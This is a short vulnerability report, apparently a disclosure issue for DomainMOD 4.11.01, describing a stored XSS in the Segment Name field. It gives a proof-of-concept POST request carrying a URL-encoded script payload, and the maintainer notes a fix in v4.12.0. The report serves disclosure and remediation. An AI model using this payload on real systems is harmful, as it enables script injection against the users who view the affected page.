Stored XSS vulnerability in Segment Name

[xrand3r]

Stored XSS vulnerability in Version 4.11.01 which allows remote attacker to inject arbitrary script or html. This being stored, will impact all users who have permissions to view the vulnerable page.

Poc: Segment Name
POST http://127.0.0.1/domainmod/segments/add.php

Request Body:
new_name=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&raw_domain_list=testing.test.com&new_description=test&new_notes=test

[chetcuti]

This was fixed in v4.12.0, which was released today.

Thanks for the report!